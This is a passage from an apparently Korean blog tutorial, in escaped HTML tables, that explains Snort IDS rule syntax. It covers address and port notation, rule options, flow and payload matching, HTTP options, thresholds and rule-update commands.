&lt;td style=&quot;width: 46.8607%; height: 16px;&quot; colspan=&quot;2&quot;&gt;부정 연산자로 특정 네트워크 대역 제외.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 16px;&quot;&gt;
&lt;td style=&quot;width: 15.8139%; height: 16px; text-align: center;&quot;&gt;&lt;b&gt;[ ]&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 46.8607%; height: 16px;&quot; colspan=&quot;2&quot;&gt;비연속적인 IP 지정.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 16px;&quot;&gt;
&lt;td style=&quot;width: 15.8139%; height: 16px; text-align: center;&quot;&gt;&lt;b&gt;any&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 46.8607%; height: 16px;&quot; colspan=&quot;2&quot;&gt;모든 IP를 의미.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 16px;&quot;&gt;
&lt;td style=&quot;width: 15.8139%; height: 16px; text-align: center;&quot;&gt;&lt;b&gt;192.168.100.100/32&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 46.8607%; height: 16px;&quot; colspan=&quot;2&quot;&gt;특정 호스트 IP 지정.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 16px;&quot;&gt;
&lt;td style=&quot;width: 15.8139%; height: 16px; text-align: center;&quot;&gt;&lt;b&gt;192.168.100.0/24&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 46.8607%; height: 16px;&quot; colspan=&quot;2&quot;&gt;특정 IP 대역대 지정.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 16px;&quot;&gt;
&lt;td style=&quot;width: 15.8139%; height: 16px; text-align: center;&quot;&gt;&lt;b&gt;!192.168.100.0/24&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 46.8607%; height: 16px;&quot; colspan=&quot;2&quot;&gt;전체 IP에서 특정 IP 대역대 제외.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 16px;&quot;&gt;
&lt;td style=&quot;width: 15.8139%; height: 16px; text-align: center;&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;$EXTERNAL_NET&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 36.2211%; height: 16px;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;외부 IP 주소 변수.&lt;/span&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 10.6396%;&quot; rowspan=&quot;6&quot;&gt;&lt;b&gt;설정 파일&lt;br /&gt;Snort.conf&lt;/b&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 16px;&quot;&gt;
&lt;td style=&quot;width: 15.8139%; height: 16px; text-align: center;&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;$HOME_NET&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 36.2211%; height: 16px;&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;내부 IP 주소 변수.&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 16px;&quot;&gt;
&lt;td style=&quot;width: 15.8139%; height: 16px; text-align: center;&quot;&gt;&lt;b&gt;$HTTP_SERVERS&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 36.2211%; height: 16px;&quot;&gt;웹 서버의 주소 변수.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 16px;&quot;&gt;
&lt;td style=&quot;width: 15.8139%; height: 16px; text-align: center;&quot;&gt;&lt;b&gt;$DNS_SERVERS&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 36.2211%; height: 16px;&quot;&gt;DNS 서버의 IP 주소 변수.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 16px;&quot;&gt;
&lt;td style=&quot;width: 15.8139%; height: 16px; text-align: center;&quot;&gt;&lt;b&gt;$SMTP_SERVERS&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 36.2211%; height: 16px;&quot;&gt;SMTP 메일 서버의 IP 주소 변수.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 16px;&quot;&gt;
&lt;td style=&quot;width: 15.8139%; height: 16px; text-align: center;&quot;&gt;&lt;b&gt;$SSH_SERVERS&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 36.2211%; height: 16px;&quot;&gt;SSH 프로토콜을 사용하는 장비의 IP 주소 변수.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;송신 / 수신 포트 (Src/Dst Port)&lt;/b&gt;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 86px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 22px;&quot;&gt;
&lt;td style=&quot;width: 24.3024%; text-align: center; height: 22px;&quot;&gt;종 류&lt;/td&gt;
&lt;td style=&quot;width: 75.6976%; text-align: center; height: 22px;&quot;&gt;&lt;b&gt;내 용&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 16px;&quot;&gt;
&lt;td style=&quot;width: 24.3024%; text-align: center; height: 16px;&quot;&gt;&lt;b&gt;!&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 75.6976%; height: 16px;&quot;&gt;부정 연산자로 특정 포트를 제외.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 16px;&quot;&gt;
&lt;td style=&quot;width: 24.3024%; text-align: center; height: 16px;&quot;&gt;&lt;b&gt;:&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 75.6976%; height: 16px;&quot;&gt;연속적인 포트번호 지정.&lt;br /&gt;Ex) 1:1000 1부터 1000까지 포트 지정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 16px;&quot;&gt;
&lt;td style=&quot;width: 24.3024%; text-align: center; height: 16px;&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;any&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 75.6976%; height: 16px;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;모든 포트 의미&lt;/span&gt;&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 16px;&quot;&gt;
&lt;td style=&quot;width: 24.3024%; text-align: center; height: 16px;&quot;&gt;&lt;b&gt;!1:1000&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 75.6976%; height: 16px;&quot;&gt;1부터 1000까지를 제외한 포트 지정.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;방향 연산자&lt;/b&gt;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 23.3721%; text-align: center;&quot;&gt;&lt;b&gt;종 류&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 76.6279%; text-align: center;&quot;&gt;&lt;b&gt;내 용&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 23.3721%; text-align: center;&quot;&gt;&lt;b&gt;-&amp;gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 76.6279%;&quot;&gt;송신지에서 수신지 방향을 의미, 단방향&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 23.3721%; text-align: center;&quot;&gt;&lt;b&gt;&amp;lt;&amp;gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 76.6279%;&quot;&gt;송신지와 수신지의 오가는 패킷 의미, 양방향&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;규칙 옵션(Rule Option)&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;일반 옵션(General Options)&lt;/b&gt;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 118px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 22px;&quot;&gt;
&lt;td style=&quot;width: 15.8914%; text-align: center; height: 22px;&quot;&gt;&lt;b&gt;옵 션&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 47.7519%; text-align: center; height: 22px;&quot;&gt;&lt;b&gt;내 용&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 36.3566%; text-align: center; height: 22px;&quot;&gt;&lt;b&gt;예 시&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 16px;&quot;&gt;
&lt;td style=&quot;width: 15.8914%; text-align: center; height: 16px;&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;msg&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 47.7519%; height: 16px;&quot;&gt;경고 이벤트를 보여줄 때 나타나는 메시지&lt;/td&gt;
&lt;td style=&quot;width: 36.3566%; height: 16px;&quot;&gt;msg:&quot;SQL Injection&quot;;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 16px;&quot;&gt;
&lt;td style=&quot;width: 15.8914%; text-align: center; height: 16px;&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;sid&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 47.7519%; height: 16px;&quot;&gt;규칙을 구별하는 식별자&lt;br /&gt;모든 규칙은 식별 번호를 가짐.&lt;br /&gt;&lt;br /&gt;0-2999999 : 이미 예약된 식별자&lt;br /&gt;3000000 ~ : 사용 가능한 식별자&amp;nbsp;&lt;/td&gt;
&lt;td style=&quot;width: 36.3566%; height: 16px;&quot;&gt;sid:3000001;&lt;br /&gt;sid:2016113003;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 16px;&quot;&gt;
&lt;td style=&quot;width: 15.8914%; text-align: center; height: 16px;&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;rev&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 47.7519%; height: 16px;&quot;&gt;해당 규칙에 대한 버전.&lt;br /&gt;수정 할 때마다 숫자를 1씩 증가.&lt;/td&gt;
&lt;td style=&quot;width: 36.3566%; height: 16px;&quot;&gt;rev:1;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 16px;&quot;&gt;
&lt;td style=&quot;width: 15.8914%; text-align: center; height: 16px;&quot;&gt;&lt;b&gt;priority&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 47.7519%; height: 16px;&quot;&gt;우선 순위를 숫자로 지정. 1(높음)-10(낮음)&lt;/td&gt;
&lt;td style=&quot;width: 36.3566%; height: 16px;&quot;&gt;priority:1;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 16px;&quot;&gt;
&lt;td style=&quot;width: 15.8914%; text-align: center; height: 16px;&quot;&gt;&lt;b&gt;calsstype&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 47.7519%; height: 16px;&quot;&gt;스노트 규칙을 분류하는 옵션.&lt;br /&gt;정의 파일: /etc/nsm/센서명/classification.config&lt;/td&gt;
&lt;td style=&quot;width: 36.3566%; height: 16px;&quot;&gt;classtype:분류명;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 16px;&quot;&gt;
&lt;td style=&quot;width: 15.8914%; text-align: center; height: 16px;&quot;&gt;&lt;b&gt;reference&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 47.7519%; height: 16px;&quot;&gt;취약점의 참고가 되는 정보(URL 등)를 연결&lt;br /&gt;정의 파일: /etc/nsm/센서명/reference.config&lt;/td&gt;
&lt;td style=&quot;width: 36.3566%; height: 16px;&quot;&gt;reference:url, www.security.com/123.html;&lt;br /&gt;&lt;br /&gt;referecne:CVE, 2012-1823;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;흐름 옵션(Flow Options)&lt;/b&gt;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 86px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 22px;&quot;&gt;
&lt;td style=&quot;width: 19.7286%; text-align: center; height: 22px;&quot;&gt;&lt;b&gt;옵 션&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 46.938%; text-align: center; height: 22px;&quot;&gt;&lt;b&gt;방 향 옵 션&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 33.3333%; text-align: center; height: 22px;&quot;&gt;&lt;b&gt;내 용&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 16px;&quot;&gt;
&lt;td style=&quot;width: 19.7286%; text-align: center; height: 64px;&quot; rowspan=&quot;4&quot;&gt;&lt;b&gt;flow&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 46.938%; height: 16px; text-align: center;&quot;&gt;&lt;b&gt;to_server&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 33.3333%; height: 32px;&quot; rowspan=&quot;2&quot;&gt;클라이언트에서 서버로 향하는 트래픽&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 16px;&quot;&gt;
&lt;td style=&quot;width: 46.938%; height: 16px; text-align: center;&quot;&gt;&lt;b&gt;from_client&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 16px;&quot;&gt;
&lt;td style=&quot;width: 46.938%; height: 16px; text-align: center;&quot;&gt;&lt;b&gt;to_client&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 33.3333%; height: 32px;&quot; rowspan=&quot;2&quot;&gt;서버에서 클라이언트로 향하는 트래픽&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 16px;&quot;&gt;
&lt;td style=&quot;width: 46.938%; height: 16px; text-align: center;&quot;&gt;&lt;b&gt;from_server&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- established: 세션이 연결된 상태의 트래픽만 매칭&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- Stateless: 세션의 연결 유무와 상관 없이 매칭&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;EX) flow:to_server, established&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;페이로드(Payload)&lt;/b&gt;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 134px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 22px;&quot;&gt;
&lt;td style=&quot;width: 17.6356%; text-align: center; height: 22px;&quot;&gt;&lt;b&gt;옵 션&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 49.031%; text-align: center; height: 22px;&quot;&gt;&lt;b&gt;내 용&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 33.3333%; text-align: center; height: 22px;&quot;&gt;&lt;b&gt;예 시&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 16px;&quot;&gt;
&lt;td style=&quot;width: 17.6356%; height: 16px; text-align: center;&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;Content&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 49.031%; height: 16px;&quot;&gt;&lt;b&gt;탐지한 패턴을 설정하는 옵션&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 33.3333%; height: 16px;&quot;&gt;Content: &quot;abc&quot;;&lt;br /&gt;Content: &quot;|61 62 63|&quot; &lt;br /&gt;&amp;rarr; | | 내의 값은 아스키 코드 Hex 값&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 16px;&quot;&gt;
&lt;td style=&quot;width: 17.6356%; height: 16px; text-align: center;&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;Nocase&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 49.031%; height: 16px;&quot;&gt;&lt;b&gt;패턴 매칭 시 대소문자 구별하지 않고 매칭&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 33.3333%; height: 16px;&quot;&gt;Content: &quot;abc&quot;; &lt;b&gt;nocase&lt;/b&gt;;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 16px;&quot;&gt;
&lt;td style=&quot;width: 17.6356%; height: 16px; text-align: center;&quot;&gt;&lt;b&gt;offset&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 49.031%; height: 16px;&quot;&gt;해당 옵션에서 지정한 바이트만큼 떨어진 위치부터 탐색 시작&lt;br /&gt;0바이트 부터 시작&lt;/td&gt;
&lt;td style=&quot;width: 33.3333%; height: 16px;&quot;&gt;offset:5;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 16px;&quot;&gt;
&lt;td style=&quot;width: 17.6356%; height: 16px; text-align: center;&quot;&gt;&lt;b&gt;Depth&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 49.031%; height: 16px;&quot;&gt;패킷 데이터에서 찾을 내용의 범위를 지정하는 옵션.&lt;br /&gt;예를 들어 5로 지정하면 처음부터 5바이트까지 문자열 탐색.&lt;/td&gt;
&lt;td style=&quot;width: 33.3333%; height: 16px;&quot;&gt;depth:5;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 16px;&quot;&gt;
&lt;td style=&quot;width: 17.6356%; height: 16px; text-align: center;&quot;&gt;&lt;b&gt;distance&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 49.031%; height: 16px;&quot;&gt;이전 content 설정 값 매칭 후 탐색할 위치를 지정.&lt;br /&gt;예시) abc가 매칭된 위치에서 32바이트 떨어진 위치부터 test 문자열을 탐색 시작.&lt;/td&gt;
&lt;td style=&quot;width: 33.3333%; height: 16px;&quot;&gt;Content: &quot;abc&quot;; nocase;&lt;br /&gt;Content: &quot;test&quot;; &lt;b&gt;distance:32&lt;/b&gt;;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 16px;&quot;&gt;
&lt;td style=&quot;width: 17.6356%; height: 16px; text-align: center;&quot;&gt;&lt;b&gt;within&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 49.031%; height: 16px;&quot;&gt;이전 content 설정 값 매칭 후 매칭을 끝낼 상대 위치를 지정.&lt;br /&gt;예시) abc가 매칭된 위치에서 10바이트 이내에 test 문자열 존재하는지 탐색.&lt;/td&gt;
&lt;td style=&quot;width: 33.3333%; height: 16px;&quot;&gt;Content:&quot;abc&quot;; nocase;&lt;br /&gt;Content:&quot;test&quot;; &lt;b&gt;within:10&lt;/b&gt;;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 16px;&quot;&gt;
&lt;td style=&quot;width: 17.6356%; height: 16px; text-align: center;&quot;&gt;&lt;b&gt;pcre&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 49.031%; height: 16px;&quot;&gt;스노트 규칙에서 사용가능한 정규표현식.&lt;br /&gt;특정 문자열의 집합을 표현할 때 효과적으로 사용 가능.&lt;/td&gt;
&lt;td style=&quot;width: 33.3333%; height: 16px;&quot;&gt;Pcre:&quot;/Select\b.*FROM/Ui&quot;;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;HTTP 관련 옵션&lt;/b&gt;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 134px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 22px;&quot;&gt;
&lt;td style=&quot;width: 22.093%; text-align: center; height: 22px;&quot;&gt;&lt;b&gt;옵 션&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 77.907%; text-align: center; height: 22px;&quot;&gt;&lt;b&gt;내 용&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 16px;&quot;&gt;
&lt;td style=&quot;width: 22.093%; height: 16px; text-align: center;&quot;&gt;&lt;b&gt;http_method&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 77.907%; height: 16px;&quot;&gt;페이로드 앞부분의 HTTP 메소드 부분의 패턴을 매칭.&lt;br /&gt;메소드: GET, POST, PUT, HEAD, DELETE, TRACE...&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 16px;&quot;&gt;
&lt;td style=&quot;width: 22.093%; height: 16px; text-align: center;&quot;&gt;&lt;b&gt;http_uri&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 77.907%; height: 16px;&quot;&gt;페이로드에서 HTTP URI 값을 패턴 매칭&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 16px;&quot;&gt;
&lt;td style=&quot;width: 22.093%; height: 16px; text-align: center;&quot;&gt;&lt;b&gt;http_cookie&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 77.907%; height: 16px;&quot;&gt;페이로드에서 HTTP 쿠키 값을 패턴 매칭&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 16px;&quot;&gt;
&lt;td style=&quot;width: 22.093%; height: 16px; text-align: center;&quot;&gt;&lt;b&gt;http_header&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 77.907%; height: 16px;&quot;&gt;HTTP 요청 / 응답 헤더 값에서 패턴 매칭 시도&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 16px;&quot;&gt;
&lt;td style=&quot;width: 22.093%; height: 16px; text-align: center;&quot;&gt;&lt;b&gt;http_client_body&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 77.907%; height: 16px;&quot;&gt;HTTP 요청 / 응답 바디 값에서 패턴 매칭 시도&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 16px;&quot;&gt;
&lt;td style=&quot;width: 22.093%; height: 16px; text-align: center;&quot;&gt;&lt;b&gt;http_stat_code&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 77.907%; height: 16px;&quot;&gt;HTTP 응답 메시지의 상태코드에서 매칭 시도&lt;br /&gt;ex) HTTP/1.1 &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;200&lt;/b&gt;&lt;/span&gt; OK&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 16px;&quot;&gt;
&lt;td style=&quot;width: 22.093%; height: 16px; text-align: center;&quot;&gt;&lt;b&gt;http_stat_message&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 77.907%; height: 16px;&quot;&gt;HTTP 응답 메시지의 상태 메시지 부분에서 매칭 시도&lt;br /&gt;ex) HTTP/1.1 200 &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;OK&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Threshold 옵션&lt;/b&gt;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 9.61237%; text-align: center;&quot;&gt;&lt;b&gt;type&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 57.0543%; text-align: center;&quot;&gt;&lt;b&gt;설명&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 9.61237%; text-align: center;&quot;&gt;&lt;b&gt;limit&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 57.0543%;&quot;&gt;매 s초 동안 c번째 이벤트&lt;b&gt;까지&lt;/b&gt; action을 수행&lt;br /&gt;ex) threshold type limit track by_src, count 2, seconds 10&lt;br /&gt;&amp;rarr; 출발지 IP를 기준으로 매 10초마다 2번째 이벤트까지 action을 수행&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 9.61237%; text-align: center;&quot;&gt;&lt;b&gt;threshold&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 57.0543%;&quot;&gt;매 s초 동안 c번째 이벤트&lt;b&gt;마다&lt;/b&gt; action을 수행&lt;br /&gt;ex) threshold type threshold, track by_src, count 10, secnods 5&lt;br /&gt;&amp;rarr; 출발지 IP를 기준으로 매 5초마다 10번째 이벤트마다 action을 수행&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 9.61237%; text-align: center;&quot;&gt;&lt;b&gt;both&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 57.0543%;&quot;&gt;매 s초 동안 c번째 이벤트 시 &lt;b&gt;한번&lt;/b&gt; action을 수행&lt;br /&gt;ex) threshold type both, track by_src, count 10, seconds 1&lt;br /&gt;&amp;rarr; 출발지 IP를 기준으로 매 1초마다 10번째 이벤트 시 한번 action을 수행&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- track&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. by_src: 출발지 IP를 기준으로 추적&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. by_dst: 목적지 IP를 기준으로 추적&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;규칙 업데이트 명령어&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;스노트 규칙 업데이트 명령어&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- rule -update&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; PulledPork 도구로 Emerging Threats의 최신 규칙 다운로드 후 적용&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;잘못된 스노트 규칙 수정 후 업데이트 명령어&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- nsm --sensor --restart --only-snort-alert&lt;/p&gt;
